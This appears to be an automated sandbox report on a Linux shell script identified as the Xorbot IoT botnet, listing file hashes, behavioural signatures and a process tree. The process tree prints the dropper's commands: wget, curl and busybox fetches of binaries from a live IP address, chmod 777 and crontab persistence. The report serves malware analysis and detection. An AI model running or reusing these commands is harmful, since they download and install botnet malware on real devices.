Analysis
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max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
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submitted
18-02-2025 04:48
General
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Target
94MJD_bins.sh
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Size
10KB
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MD5
d86eaa590e3754b5c5f7d3d48aafc640
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SHA1
c8813488f1208356ead6dd49754edc1174f266a7
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SHA256
01762bbc6774c58954d2aef154149f25d195340c877348cbd061e6f3c429d8bd
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SHA512
a6833d3c8ca3415c2b90966fcaf03a680be87a3edc4bd88fab1151486c9b92c611705d5560a3284f3bb4cdfeaeae6ba3dab3d945925e45ad9857a4c63c8ec449
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SSDEEP
192:3eJJWK7i21QAcr/mRxEpVsP/GsiJzTi21QAEr/mRxYpVsP/l:3eJJWKMpVsP/GsiJz0pVsP/l
Malware Config
Signatures
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Detects Xorbot 2 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2210) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/94MJD_bins.sh/tmp/94MJD_bins.sh1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
- File and Directory Permissions Modification
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/usr/bin/crontabcrontab -l2⤵
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/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
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/bin/rmrm YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.88/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi2⤵
- Writes file to tmp directory
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
36KB
MD5696a95fb89aa35da2c9811a9f59319b4
SHA1575d4554996059d4923faa055b15bc8db9182204
SHA25624d14476e890e632a9b1802d38ba488a960de846d9b13775af8b64360785f750
SHA5120f611064a8b1b53659d7a426e87ab9e70622b3e69b8a03b3de5e1c860ed7ae1e5845de9c8ad47da6f450427d56ebf5147a1c64103d5728acfc4a7f3a2fa5d932
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Filesize
210B
MD56417c25f28ae8b86b17bd372b053af41
SHA1e68e076ac3d1ce0998e83706a3913a957c68ca60
SHA25672f102b72337702b6ef106ee31aa96c4083af2d66e8bca894f7c9493f1884c7b
SHA512cc60ac5d042b5e00e17d1061297aa36adfd2eabc9b7de2f033d9fcb6bd74e5b6d10ac445f03a62ebfa1a1b047c416fef060fb9d60478fd151f3d062d20af650a